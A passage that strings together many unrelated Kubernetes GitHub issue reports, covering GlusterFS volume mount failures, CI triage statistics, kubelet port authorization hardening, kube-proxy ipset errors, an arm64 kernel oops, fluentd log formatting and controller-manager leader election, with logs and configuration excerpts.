devops-grafana-2716347886-lvp2z_default dc712587-405a-11e7-a8e8-02855b10b453 :devops-grafana \r 5/24/2017 4:43:02 pme0524 08:43:02.378672    8074 glusterfs.go:122  glusterfs: failed to get endpoints storage-volume an empty namespace may not be set when a resource name is provided \r 5/24/2017 4:43:02 pme0524 08:43:02.378729    8074 reconciler.go:433  could not construct volume information: mountvolume.newmounter failed for volume \ kubernetes.io/glusterfs/dc712587-405a-11e7-a8e8-02855b10b453-storage-volume\   spec.name: \ storage-volume\   pod \ dc712587-405a-11e7-a8e8-02855b10b453\   uid: \ dc712587-405a-11e7-a8e8-02855b10b453\   with: an empty namespace may not be set when a resource name is provided\r 5/24/2017 4:43:03 pme0524 08:43:03.128967    8074 kubelet.go:1522  unable to mount volumes for pod \ devops-grafana-2716347886-lvp2z_default dc712587-405a-11e7-a8e8-02855b10b453 \ : timeout expired waiting for volumes to attach/mount for pod \ default\ /\ devops-grafana-2716347886-lvp2z\ . list of unattached/unmounted volumes= storage-volume ; skipping pod\r 5/24/2017 4:43:03 pme0524 08:43:03.129005    8074 pod_workers.go:184  error syncing pod dc712587-405a-11e7-a8e8-02855b10b453, skipping: timeout expired waiting for volumes to attach/mount for pod \ default\ /\ devops-grafana-2716347886-lvp2z\ . list of unattached/unmounted volumes= storage-volume \r 5/24/2017 4:43:03 pmi0524 08:43:03.981518    8074 operation_executor.go:917  mountvolume.setup succeeded for volume \ kubernetes.io/secret/dc712587-405a-11e7-a8e8-02855b10b453-default-token-jh2t1\   spec.name: \ default-token-jh2t1\   pod \ dc712587-405a-11e7-a8e8-02855b10b453\   uid: \ dc712587-405a-11e7-a8e8-02855b10b453\  .\r 5/24/2017 4:43:04 pmi0524 08:43:04.181435    8074 operation_executor.go:917  mountvolume.setup succeeded for volume \ kubernetes.io/secret/dc712587-405a-11e7-a8e8-02855b10b453-ldapcacert-volume\   spec.name: \ ldapcacert-volume\   pod \ dc712587-405a-11e7-a8e8-02855b10b453\   uid: \ dc712587-405a-11e7-a8e8-02855b10b453\  .\r 5/24/2017 4:43:04 pmi0524 08:43:04.588684    8074 operation_executor.go:917  mountvolume.setup succeeded for volume \ kubernetes.io/configmap/dc712587-405a-11e7-a8e8-02855b10b453-config-volume\   spec.name: \ config-volume\   pod \ dc712587-405a-11e7-a8e8-02855b10b453\   uid: \ dc712587-405a-11e7-a8e8-02855b10b453\  .\r 5/24/2017 4:43:11 pme0524 08:43:11.581567    8074 nestedpendingoperations.go:262  operation for \ \\\ kubernetes.io/glusterfs/dc712587-405a-11e7-a8e8-02855b10b453-storage-volume\\\   \\\ dc712587-405a-11e7-a8e8-02855b10b453\\\  \  failed. no retries permitted until 2017-05-24 08:45:11.581541056 +0000 utc  durationbeforeretry 2m0s . error: mountvolume.setup failed for volume \ kubernetes.io/glusterfs/dc712587-405a-11e7-a8e8-02855b10b453-storage-volume\   spec.name: \ storage-volume\   pod \ dc712587-405a-11e7-a8e8-02855b10b453\   uid: \ dc712587-405a-11e7-a8e8-02855b10b453\   with: stat /var/lib/kubelet/pods/dc712587-405a-11e7-a8e8-02855b10b453/volumes/kubernetes.io~glusterfs/storage-volume: transport endpoint is not connected\r 5/24/2017 4:45:03 pme0524 08:45:03.482138    8074 kubelet.go:1522  unable to mount volumes for pod \ devops-grafana-2716347886-lvp2z_default dc712587-405a-11e7-a8e8-02855b10b453 \ : timeout expired waiting for volumes to attach/mount for pod \ default\ /\ devops-grafana-2716347886-lvp2z\ . list of unattached/unmounted volumes= storage-volume ; skipping pod\r 5/24/2017 4:45:03 pme0524 08:45:03.482166    8074 pod_workers.go:184  error syncing pod dc712587-405a-11e7-a8e8-02855b10b453, skipping: timeout expired waiting for volumes to attach/mount for pod \ default\ /\ devops-grafana-2716347886-lvp2z\ . list of unattached/unmounted volumes= storage-volume \r 5/24/2017 4:45:03 pmi0524 08:45:03.981207    8074 operation_executor.go:917  mountvolume.setup succeeded for volume \ kubernetes.io/secret/dc712587-405a-11e7-a8e8-02855b10b453-ldapcacert-volume\   spec.name: \ ldapcacert-volume\   pod \ dc712587-405a-11e7-a8e8-02855b10b453\   uid: \ dc712587-405a-11e7-a8e8-02855b10b453\  .\r 5/24/2017 4:45:04 pmi0524 08:45:04.382213    8074 operation_executor.go:917  mountvolume.setup succeeded for volume \ kubernetes.io/configmap/dc712587-405a-11e7-a8e8-02855b10b453-config-volume\   spec.name: \ config-volume\   pod \ dc712587-405a-11e7-a8e8-02855b10b453\   uid: \ dc712587-405a-11e7-a8e8-02855b10b453\  .\r 5/24/2017 4:45:04 pmi0524 08:45:04.581562    8074 operation_executor.go:917  mountvolume.setup succeeded for volume \ kubernetes.io/secret/dc712587-405a-11e7-a8e8-02855b10b453-default-token-jh2t1\   spec.name: \ default-token-jh2t1\   pod \ dc712587-405a-11e7-a8e8-02855b10b453\   uid: \ dc712587-405a-11e7-a8e8-02855b10b453\  .\r 5/24/2017 4:45:11 pme0524 08:45:11.781435    8074 nestedpendingoperations.go:262  operation for \ \\\ kubernetes.io/glusterfs/dc712587-405a-11e7-a8e8-02855b10b453-storage-volume\\\   \\\ dc712587-405a-11e7-a8e8-02855b10b453\\\  \  failed. no retries permitted until 2017-05-24 08:47:11.781402628 +0000 utc  durationbeforeretry 2m0s . error: mountvolume.setup failed for volume \ kubernetes.io/glusterfs/dc712587-405a-11e7-a8e8-02855b10b453-storage-volume\   spec.name: \ storage-volume\   pod \ dc712587-405a-11e7-a8e8-02855b10b453\   uid: \ dc712587-405a-11e7-a8e8-02855b10b453\   with: stat /var/lib/kubelet/pods/dc712587-405a-11e7-a8e8-02855b10b453/volumes/kubernetes.io~glusterfs/storage-volume: transport endpoint is not connected\r 5/24/2017 4:46:02 pme0524 08:46:02.578710    8074 glusterfs.go:122  glusterfs: failed to get endpoints storage-volume an empty namespace may not be set when a resource name is provided \r 5/24/2017 4:46:02 pme0524 08:46:02.578760    8074 reconciler.go:433  could not construct volume information: mountvolume.newmounter failed for volume \ kubernetes.io/glusterfs/dc712587-405a-11e7-a8e8-02855b10b453-storage-volume\   spec.name: \ storage-volume\   pod \ dc712587-405a-11e7-a8e8-02855b10b453\   uid: \ dc712587-405a-11e7-a8e8-02855b10b453\   with: an empty namespace may not be set when a resource name is provided\r 5/24/2017 4:47:03 pme0524 08:47:03.761514    8074 kubelet.go:1522  unable to mount volumes for pod \ devops-grafana-2716347886-lvp2z_default dc712587-405a-11e7-a8e8-02855b10b453 \ : timeout expired waiting for volumes to attach/mount for pod \ default\ /\ devops-grafana-2716347886-lvp2z\ . list of unattached/unmounted volumes= storage-volume ; skipping pod\r 5/24/2017 4:47:03 pme0524 08:47:03.761539    8074 pod_workers.go:184  error syncing pod dc712587-405a-11e7-a8e8-02855b10b453, skipping: timeout expired waiting for volumes to attach/mount for pod \ default\ /\ devops-grafana-2716347886-lvp2z\ . list of unattached/unmounted volumes= storage-volume \r 5/24/2017 4:47:04 pmi0524 08:47:04.381551    8074 operation_executor.go:917  mountvolume.setup succeeded for volume \ kubernetes.io/secret/dc712587-405a-11e7-a8e8-02855b10b453-default-token-jh2t1\   spec.name: \ default-token-jh2t1\   pod \ dc712587-405a-11e7-a8e8-02855b10b453\   uid: \ dc712587-405a-11e7-a8e8-02855b10b453\  .\r 5/24/2017 4:47:04 pmi0524 08:47:04.581770    8074 operation_executor.go:917  mountvolume.setup succeeded for volume \ kubernetes.io/secret/dc712587-405a-11e7-a8e8-02855b10b453-ldapcacert-volume\   spec.name: \ ldapcacert-volume\   pod \ dc712587-405a-11e7-a8e8-02855b10b453\   uid: \ dc712587-405a-11e7-a8e8-02855b10b453\  .\r 5/24/2017 4:47:04 pmi0524 08:47:04.982160    8074 operation_executor.go:917  mountvolume.setup succeeded for volume \ kubernetes.io/configmap/dc712587-405a-11e7-a8e8-02855b10b453-config-volume\   spec.name: \ config-volume\   pod \ dc712587-405a-11e7-a8e8-02855b10b453\   uid: \ dc712587-405a-11e7-a8e8-02855b10b453\  .\r 5/24/2017 4:47:12 pme0524 08:47:12.182109    8074 nestedpendingoperations.go:262  operation for \ \\\ kubernetes.io/glusterfs/dc712587-405a-11e7-a8e8-02855b10b453-storage-volume\\\   \\\ dc712587-405a-11e7-a8e8-02855b10b453\\\  \  failed. no retries permitted until 2017-05-24 08:49:12.182086454 +0000 utc  durationbeforeretry 2m0s . error: mountvolume.setup failed for volume \ kubernetes.io/glusterfs/dc712587-405a-11e7-a8e8-02855b10b453-storage-volume\   spec.name: \ storage-volume\   pod \ dc712587-405a-11e7-a8e8-02855b10b453\   uid: \ dc712587-405a-11e7-a8e8-02855b10b453\   with: stat /var/lib/kubelet/pods/dc712587-405a-11e7-a8e8-02855b10b453/volumes/kubernetes.io~glusterfs/storage-volume: transport endpoint is not connected\r    \r \r

failure cluster  7d709533623982a1223f  https://go.k8s.io/triage 7d709533623982a1223f        error text:     error during ./cluster/log-dump.sh /workspace/_artifacts: exit status 1           failure cluster statistics: 1 tests failed,    57 jobs failed,    154 builds failed. failure stats cover 1 day time range '1 jun 2017 19:54 utc' to '2 jun 2017 19:54 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | | dumpclusterlogs | 57 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-soak-gke-gci-test | 48 |  2 jun 2017 19:36 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-soak-gke-gci-test/2149  | | ci-kubernetes-soak-gke-test | 48 |  2 jun 2017 19:32 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-soak-gke-test/2523  | | ci-kubernetes-e2e-gke-gci-1.5-container_vm-1.6-upgrade-cluster | 2 |  2 jun 2017 15:44 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-gci-1.5-container_vm-1.6-upgrade-cluster/724  |   current status  https://go.k8s.io/triage 7d709533623982a1223f

see https://github.com/kubernetes/kubernetes/blob/master/staging/src/k8s.io/apiserver/pkg/server/options/server_run_options.go\r \r i think it's the last file that has no validation in pkg  k8s.io/apiserver/pkg/server/options .\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

currently webhook doesn't retry if server returns a server error: https://github.com/kubernetes/kubernetes/blob/master/staging/src/k8s.io/apiserver/pkg/util/webhook/webhook.go l104\r \r however, for audit logs dropping the whole batch in case of an occasional 5xx might not be a great idea. maybe it's worth to retry webhook not until the first error? or at least make it configurable\r \r /cc @sttts @soltysh @ericchiang @caoshufeng @piosz @tallclair @kubernetes/sig-api-machinery-bugs

is this a bug report or feature request?  :\r  \r   what happened  :\r \r today, the kubelet surfaces it's apis through 2 ports: 10250 is the authenticated port, which provides full api access including the ability to exec into containers running on the node, and 10255 is the \ readonly\  port, which provides access to the readonly apis  such as various stats & metrics  but is unauthenticated.\r \r if an admin wants to run a secure cluster that doesn't potentially leak information through the stats, the read only port can be disabled. however, the ability to read stats is critical functionality, so monitoring & autoscaling needs to be configured via the authenticated port. the problem with this is it distributes credentials that have exec privileges on the node, greatly increasing attack surface via the monitoring apps.\r \r   what you expected to happen  :\r \r rather than allowing all authenticated requests to the 10250 port, the kubelet can be configured to delegate those requests to the apiserver via subjectaccessreview, at which point all the regular cluster authz mechanisms work  e.g. rbac . see https://kubernetes.io/docs/admin/kubelet-authentication-authorization/ kubelet-authorization for more details.\r \r we should make this behavior the default, and configure apps like heapster with the appropriate roles to work.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r run a kubelet, visit the 10250 and 10255 ports. the 10250 api can easily be accessed via the master proxy:  <master address>/api/v1/proxy/nodes/<node name>:10250/ \r \r /cc @kubernetes/sig-auth-feature-requests @kubernetes/sig-node-feature-requests

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r  \r the cloud provider latency metric includes latency of requests with errors:\r https://github.com/kubernetes/kubernetes/blob/13c80a99a36efcdc7e76102b6154e15edc17b69d/pkg/cloudprovider/providers/gce/metrics.go l59-l67\r \r while the volume operation latency metric does not:\r https://github.com/kubernetes/kubernetes/blob/13c80a99a36efcdc7e76102b6154e15edc17b69d/pkg/volume/util/metrics.go l52-l64\r \r this is confusing when comparing the two latencies for troubleshooting purposes  e.g. the cloud provider metric with request=disk_attach vs. the volume operation metric with request=volume_attach . imo they should have the same conventions in terms of whether or not to include errors.\r \r  /cc @gnufied @wongma7 \r

kubernetes version 1.11.0\r \r    \r centos linux release 7.4.1708  core  \r \r \r  root@kubernetes-65 ~   uname -a\r linux kubernetes-65 4.4.111-1.el7.elrepo.x86_64  1 smp wed jan 10 13:12:02 est 2018 x86_64 x86_64 x86_64 gnu/linux\r \r \r  root@kubernetes-65 ~   rpm -qa|grep ipset\r ipset-libs-6.29-1.el7.x86_64\r ipset-6.29-1.el7.x86_64\r \r    \r \r   kube-proxy run  error  logs\r \r    \r \r 6月 29 11:51:47 kubernetes-65 kube-proxy 73946 : e0629 11:51:47.439385   73946 ipset.go:156  failed to make sure ip set: &{{kube-load-balancer-source-ip hash:ip,port,ip inet 1024 65536 0-65535 kubernetes service load balancer ip + port + source ip for packet filter purpose} map   0xc4203b6420} exist, error: error creating ipset kube-load-balancer-source-ip, error: exit status 1\r 6月 29 11:51:52 kubernetes-65 kube-proxy 73946 : e0629 11:51:52.323873   73946 ipset.go:156  failed to make sure ip set: &{{kube-external-ip hash:ip,port inet 1024 65536 0-65535 kubernetes service external ip + port for masquerade and filter purpose} map   0xc4203b6420} exist, error: error creating ipset kube-external-ip, error: exit status 1\r 6月 29 11:51:57 kubernetes-65 kube-proxy 73946 : e0629 11:51:57.348685   73946 ipset.go:156  failed to make sure ip set: &{{kube-load-balancer hash:ip,port inet 1024 65536 0-65535 kubernetes service lb portal} map   0xc4203b6420} exist, error: error creating ipset kube-load-balancer, error: exit status 1\r 6月 29 11:52:02 kubernetes-65 kube-proxy 73946 : e0629 11:52:02.372216   73946 ipset.go:156  failed to make sure ip set: &{{kube-loop-back hash:ip,port,ip inet 1024 65536 0-65535 kubernetes endpoints dst ip:port, source ip for solving hairpin purpose} map   0xc4203b6420} exist, error: error creating ipset kube-loop-back, error: exit status 1\r 6月 29 11:52:07 kubernetes-65 kube-proxy 73946 : e0629 11:52:07.397256   73946 ipset.go:156  failed to make sure ip set: &{{kube-loop-back hash:ip,port,ip inet 1024 65536 0-65535 kubernetes endpoints dst ip:port, source ip for solving hairpin purpose} map   0xc4203b6420} exist, error: error creating ipset kube-loop-back, error: exit status 1\r \r \r

what happened  :\r \r during normal operation kubernetes operations in a small three-node cluster  one master node and two non-master nodes  i experience a  kernel oops  https://gist.github.com/lisa/972b27c561e1fb58a6d268d24de88a81 file-crashlog-txt , captured via serial console during a crash event.\r \r   what you expected to happen  :\r \r i expect for my kernel not to oops.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r the following steps appear to probablistically cause the defect to occur, however, it is my experience that when left to its own devices  eg, not intentionally triggered  the defect will eventually occur in less than 24 hours. thus, to expedite the defect:\r \r 1. boot system\r 2. allow all kubernetes-related pods to reach  ready  status phase\r 3. attempt  for example  to build a container image with docker. i happen to be using this  dockerfile  https://gist.github.com/lisa/972b27c561e1fb58a6d268d24de88a81 file-dockerfile  can be found in the linked gist. for me, i never complete the \ install build tools\  piece, beginning on line 17 before the oops.\r \r   anything else we need to know?  :\r \r this is on a physical cluster on arm64 hardware as described below.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r      root@kubemaster ~   kubectl version\r     client version: version.info{major:\ 1\ , minor:\ 13\ , gitversion:\ v1.13.3\ , gitcommit:\ 721bfa751924da8d1680787490c54b9179b1fed0\ , gittreestate:\ clean\ , builddate:\ 2019-02-01t20:08:12z\ , goversion:\ go1.11.5\ , compiler:\ gc\ , platform:\ linux/arm64\ }\r     server version: version.info{major:\ 1\ , minor:\ 13\ , gitversion:\ v1.13.3\ , gitcommit:\ 721bfa751924da8d1680787490c54b9179b1fed0\ , gittreestate:\ clean\ , builddate:\ 2019-02-01t20:00:57z\ , goversion:\ go1.11.5\ , compiler:\ gc\ , platform:\ linux/arm64\ }\r \r - cloud provider or hardware configuration:\r \r this is a bare metal cluster with each node being  identical hardware  https://www.pine64.org/?page_id=7147   vendor page . the node on which this defect occurs is a rock64 board with these specs:\r \r   rk3328 64-bit quad core a53 cpu\r   4gb lpddr3 @ 1600mhz\r   booting from 64gb microsd card \r \r \r - os  e.g. from /etc/os-release :\r \r           cat /etc/os-release\r         name=\ centos linux\ \r         version=\ 7  altarch \ \r         id=\ centos\ \r         id_like=\ rhel fedora\ \r         version_id=\ 7\ \r         pretty_name=\ centos linux 7  altarch \ \r         ansi_color=\ 0;31\ \r         cpe_name=\ cpe:/o:centos:centos:7\ \r         home_url=\ https://www.centos.org/\ \r         bug_report_url=\ https://bugs.centos.org/\ \r         centos_mantisbt_project=\ centos-7\ \r         centos_mantisbt_project_version=\ 7\ \r         redhat_support_product=\ centos\ \r         redhat_support_product_version=\ 7\ \r \r - kernel  e.g.  uname -a  :\r \r  linux kubemaster 4.4.167-rockchip64  6 smp thu jan 10 08:14:05 cet 2019 aarch64 aarch64 aarch64 gnu/linux \r \r - install tools:\r \r list of  installed rpms  https://gist.github.com/lisa/972b27c561e1fb58a6d268d24de88a81 file-installed-rpms-txt  is available.\r \r - others:\r \r  /proc/cpuinfo  https://gist.github.com/lisa/972b27c561e1fb58a6d268d24de88a81 file-_proc_cpuinfo-txt  output\r \r current flannel image is  quay.io/coreos/flannel:v0.11.0-arm64 , metallb image is  metallb/controller:v0.7.3 . the cluster has one user-provided deployment running  on a different node .\r \r  kubeadm ,  kubelet  and  kubectl  come from this  kubernetes  repo:\r \r      kubernetes \r     name=kubernetes\r     baseurl=https://packages.cloud.google.com/yum/repos/kubernetes-el7-aarch64\r     enabled=1\r     gpgcheck=1\r     repo_gpgcheck=1\r     gpgkey=https://packages.cloud.google.com/yum/doc/yum-key.gpg\r             https://packages.cloud.google.com/yum/doc/rpm-package-key.gpg\r

hi there, my team just ran into an issue of pushing an update for a rolling-update, and then another team member was deleting an outdated replication controller manually, both happening at the same time.  this caused the rolling-update to failed, which makes sense being there was no replication controller to update anymore, however neither actions gave an error message saying the other event was occurring.  i'm wondering if we should have an error message at least on the rolling update saying that the replication controller was deleted at a particular time?

we are using the td-agent.conf from https://github.com/kubernetes/kubernetes/blob/master/cluster/addons/fluentd-elasticsearch/fluentd-es-image/td-agent.conf and the logs are mounted at  varlog inside the fluentd docker container.  <pod-name>-_default_controller-manager-c2f07985a124ff0a46c0c41ee468ad6e5f63a7615b1b1445523c5bc9293d294e.log <pod-name>-_default_scheduler-a41d0a71e91ec5751284a1200a4cc23d99f43082a204340192d85daefc67675b.log  root@fluentd-elasticsearch-5rl0j:/varlog     the logs from these are formed the following format and displayed as below in elk curl -xget 'localhost:9200/logstash /_search/?pretty' -d '{          \ query\ : {                         \ match\ : {                                          \ log\ :\ endpoints\                                                      }          } }'      }, {       \ _index\  : \ logstash-2016.07.01\ ,       \ _type\  : \ fluentd\ ,       \ _id\  : \ avwnpx1jyejspgqnnrcs\ ,       \ _score\  : 0.8208284,       \ _source\  : {         \ log\  : \ i0701 18:06:35.317525       1 proxier.go:484  setting endpoints for \\\ default/heapster:\\\  to  10.1.64.5:8082 \ \ ,         \ stream\  : \ stderr\ ,         \ tag\  : \ kubernetes.varlog.<pod-name>_default_kube-proxy-2e5580124adcc10e6cea83f0eb5a8c43b9e72f7a50fca55f7aadad0c402a8a3d.log\ ,         \ @timestamp\  : \ 2016-07-01t18:06:35+00:00\        }     }     } }  however we expect the final logs to be in the following format which doesnt seem to be happening.    {    \ log\ :\ 2014/09/25 21:15:03 got request with path wombat\ \ ,    \ stream\ :\ stderr\ ,    \ time\ :\ 2014-09-25t21:15:03.499185026z\ ,    \ kubernetes\ : {      \ namespace\ : \ default\ ,      \ pod_name\ : \ synthetic-logger-0.25lps-pod\ ,      \ container_name\ : \ synth-lgr\     },    \ docker\ : {      \ container_id\ : \ 997599971ee6366d4a5920d25b79286ad45ff37a74494f262e3bc98d909d0a7b\     }  }  appreciate any pointers.

newer versions of docker have the ability to keep containers alive during daemon downtime.\r \r see: https://docs.docker.com/engine/admin/live-restore/\r \r for kubelet's that integrate with the docker runtime, we should author a node e2e test that verifies enabling this feature works as expected in kubelet and pods remain alive and well after a restart.\r \r /cc @kubernetes/sig-node @sjenning @mrunalp

kubemark-gce-scale test is failing for quite some runs now, mostly due to density and load test unable to handle scale. here's what happens:\r \r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/density.go:335\r there should be no high-latency requests\r expected\r     <int>: 1\r not to be >\r     <int>: 0\r    \r \r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/load.go:84\r expected\r     <int>: 1\r not to be >\r     <int>: 0\r    \r \r cc @kubernetes/sig-scalability-misc @wojtek-t @gmarek

we have a custom kube cluster. there is 1 master and 2 worker node.\r \r kubectl version is 1.5\r \r  server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.1\ , gitcommit:\ 82450d03cb057bab0950214ef122b67c83fb11df\ , gittreestate:\ clean\ , builddate:\ 2016-12-14t00:52:01z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ } \r \r referred to : https://github.com/kubernetes/kubernetes/issues/30818 similar issue. \r \r heapster version is v1.3.0-beta.1 in the default namespace.\r \r    \r kubectl top node\r error from server  notfound : the server could not find the requested resource  get services http:heapster: \r \r    \r    \r kubectl get pods --all-namespaces\r namespace     name                                       ready     status    restarts   age\r default       heapster-2326584968-qwqmf                  1/1       running   0          22h\r default       monitoring-grafana-1918260480-njf8s        1/1       running   0          22h\r default       monitoring-influxdb-201485718-mvkb5        1/1       running   0          10d\r kube-system   calico-node-56cps                          2/2       running   0          10d\r kube-system   calico-node-6pcjx                          2/2       running   0          10d\r kube-system   calico-node-hqj3k                          2/2       running   0          10d\r kube-system   calico-policy-controller-261675450-64c8j   1/1       running   0          10d\r kube-system   etcd-cni-kube-master-1                     1/1       running   0          10d\r kube-system   etcd-k8s-kube-master-1                     1/1       running   0          10d\r kube-system   kube-apiserver-kube-master-1               1/1       running   0          10d\r kube-system   kube-controller-manager-kube-master-1      1/1       running   1          10d\r kube-system   kube-dns-1.9-pbjb7                         3/3       running   0          10d\r kube-system   kube-proxy-4mzd6                           1/1       running   0          10d\r kube-system   kube-proxy-dqfmk                           1/1       running   0          10d\r kube-system   kube-scheduler-kube-master-1               1/1       running   1          10d\r kube-system   kubernetes-dashboard-cb62k                 1/1       running   0          10d\r \r    \r \r cc @piosz

kubernetes version    use  kubectl version  :\r kubernetes/master\r \r   environment  :\r na\r \r   what happened  :\r    \r $ kubfed init ...\r ....\r creating federation component deployments...&{0xc42009e020}  done\r    \r \r   what you expected to happen  :\r    \r $ kubfed init ...\r ....\r creating federation component deployments... done\r    \r \r   how to reproduce it    as minimally and precisely as possible :\r see above\r \r   anything else we need to know  :\r nope, have a fix.\r

@kubernetes/sig-controller-manager-misc\r @kubernetes/sig-architecture\r   @kubernetes/sig-controller-manager-bugs\r /area  controller-manager \r  is this a bug report or feature request?:\r \r  /area controller-manager\r \r i install kubernetes 1.7 on ubuntu 17.04. the master includes three nodes and owns high availability by etcd election. only a node  10.71.156.238  with kube-control-manager looks good. the other two nodes 10.71.156.176,10.71.156.170  with kube-control-manager is always hangin with \ attempting to acquire leader lease...\  and the logs are as follows:\r jul 06 15:04:34 kube-master kube-controller-manager 18261 : i0706 15:04:34.943413 18261 flags.go:52  flag: --service-sync-period=\ 5m0s\ \r jul 06 15:04:34 kube-master kube-controller-manager 18261 : i0706 15:04:34.943422 18261 flags.go:52  flag: --stderrthreshold=\ 2\ \r jul 06 15:04:34 kube-master kube-controller-manager 18261 : i0706 15:04:34.943431 18261 flags.go:52  flag: --terminated-pod-gc-threshold=\ 12500\ \r jul 06 15:04:34 kube-master kube-controller-manager 18261 : i0706 15:04:34.943440 18261 flags.go:52  flag: --unhealthy-zone-threshold=\ 0.55\ \r jul 06 15:04:34 kube-master kube-controller-manager 18261 : i0706 15:04:34.943449 18261 flags.go:52  flag: --use-service-account-credentials=\ true\ \r jul 06 15:04:34 kube-master kube-controller-manager 18261 : i0706 15:04:34.943456 18261 flags.go:52  flag: --v=\ 0\ \r jul 06 15:04:34 kube-master kube-controller-manager 18261 : i0706 15:04:34.943464 18261 flags.go:52  flag: --version=\ false\ \r jul 06 15:04:34 kube-master kube-controller-manager 18261 : i0706 15:04:34.943480 18261 flags.go:52  flag: --vmodule=\ \ \r jul 06 15:04:34 kube-master kube-controller-manager 18261 : i0706 15:04:34.943515 18261 controllermanager.go:107  version: 1.7.0\r jul 06 15:04:34 kube-master kube-controller-manager 18261 : i0706 15:04:34.955717 18261 leaderelection.go:179  attempting to acquire leader lease...\r \r the node  10.71.156.238  with kube-control-manager of logs are as follows:\r jul 07 16:09:36 kube-master-3 kube-controller-manager 14686 : w0707 16:09:36.250472 14686 reflector.go:323  k8s.io/kubernetes/pkg/client/informers/informers_generated/externalversions/factory.go:72: watch of  v1beta1.role ended with: very short watch\r jul 07 16:09:37 kube-master-3 kube-controller-manager 14686 : w0707 16:09:37.263226 14686 reflector.go:323  k8s.io/kubernetes/pkg/client/informers/informers_generated/externalversions/factory.go:72: watch of  v1beta1.role ended with: too old resource version: 968615  968654 \r jul 07 16:09:47 kube-master-3 kube-controller-manager 14686 : w0707 16:09:47.095653 14686 reflector.go:323  k8s.io/kubernetes/pkg/client/informers/informers_generated/externalversions/factory.go:72: watch of  v1.serviceaccount ended with: very short watch\r jul 07 16:09:48 kube-master-3 kube-controller-manager 14686 : w0707 16:09:48.063006 14686 reflector.go:323  k8s.io/kubernetes/pkg/client/informers/informers_generated/externalversions/factory.go:72: watch of  v1.podtemplate ended with: very short watch\r jul 07 16:09:49 kube-master-3 kube-controller-manager 14686 : w0707 16:09:49.077683 14686 reflector.go:323  k8s.io/kubernetes/pkg/client/informers/informers_generated/externalversions/factory.go:72: watch of  v1.podtemplate ended with: too old resource version: 968615  968654 \r jul 07 16:09:50 kube-master-3 kube-controller-manager 14686 : w0707 16:09:50.258290 14686 reflector.go:323  k8s.io/kubernetes/pkg/controller/bootstrap/bootstrapsigner.go:152: watch of  v1.secret ended with: very short watch\r jul 07 16:09:53 kube-master-3 kube-controller-manager 14686 : w0707 16:09:53.925920 14686 reflector.go:323  k8s.io/kubernetes/pkg/client/informers/informers_generated/externalversions/factory.go:72: watch of  v1beta1.statefulset ended with: very short watch\r jul 07 16:09:55 kube-master-3 kube-controller-manager 14686 : w0707 16:09:55.058561 14686 reflector.go:323  k8s.io/kubernetes/pkg/controller/bootstrap/bootstrapsigner.go:151: watch of  v1.configmap ended with: very short watch\r jul 07 16:09:55 kube-master-3 kube-controller-manager 14686 : w0707 16:09:55.892659 14686 reflector.go:323  k8s.io/kubernetes/pkg/client/informers/informers_generated/externalversions/factory.go:72: watch of  v1.job ended with: very short watch\r jul 07 16:09:57 kube-master-3 kube-controller-manager 14686 : w0707 16:09:57.555309 14686 reflector.go:323  k8s.io/kubernetes/pkg/client/informers/informers_generated/externalversions/factory.go:72: watch of  v1.replicationcontroller ended with: very short watch.\r \r the etcd version is 3.2.0 and etcd logs are as follows:\r jul 07 15:55:05 kube-master etcd 8661 : store.index: compact 2036684\r jul 07 15:55:05 kube-master etcd 8661 : finished scheduled compaction at 2036684  took 2.643997ms \r jul 07 16:00:05 kube-master etcd 8661 : store.index: compact 2037200\r jul 07 16:00:05 kube-master etcd 8661 : finished scheduled compaction at 2037200  took 3.670872ms \r jul 07 16:00:05 kube-master etcd 8661 : apply entries took too long  105.064338ms for 1 entries \r jul 07 16:00:05 kube-master etcd 8661 : avoid queries with large range/delete range!\r jul 07 16:05:05 kube-master etcd 8661 : store.index: compact 2037722\r jul 07 16:05:05 kube-master etcd 8661 : finished scheduled compaction at 2037722  took 2.982671ms \r jul 07 16:10:05 kube-master etcd 8661 : store.index: compact 2038246\r jul 07 16:10:05 kube-master etcd 8661 : finished scheduled compaction at 2038246  took 1.99918ms \r \r the makes creation of k8s object too slow such as deployment,pod and so on. at the same time kubectl command responses very slowly. \r \r   my apiserver configuration is:  \r  unit \r description=kubernetes api service\r documentation=https://github.com/googlecloudplatform/kubernetes\r after=network.target\r after=etcd.service\r \r  service \r environmentfile=-/etc/kubernetes/config\r environmentfile=-/etc/kubernetes/apiserver\r execstart=/usr/local/bin/kube-apiserver \\\r         $kube_logtostderr \\\r         $kube_log_level \\\r         $kube_etcd_servers \\\r         $kube_api_address \\\r         $kube_api_port \\\r         $kubelet_port \\\r         $kube_allow_priv \\\r         $kube_service_addresses \\\r         $kube_admission_control \\\r         $kube_api_args\r restart=on-failure\r type=notify\r limitnofile=65536\r \r  install \r wantedby=multi-user.target\r \r   and the /etc/kubernetes/apiserver is:  \r \r kube_api_address=\ --advertise-address=10.71.156.176 --bind-address=10.71.156.176 --insecure-bind-address=10.71.156.176\ \r \r \r  kube_api_port=\ --port=8080\ \r \r \r  kubelet_port=\ --kubelet-port=10250\ \r \r \r kube_etcd_servers=\ --etcd-servers=https://10.71.156.176:2379,https://10.71.156.170:2379,https://10.71.156.238:2379\ \r  \r kube_service_addresses=\ --service-cluster-ip-range=10.254.0.0/16\ \r  \r kube_admission_control=\ 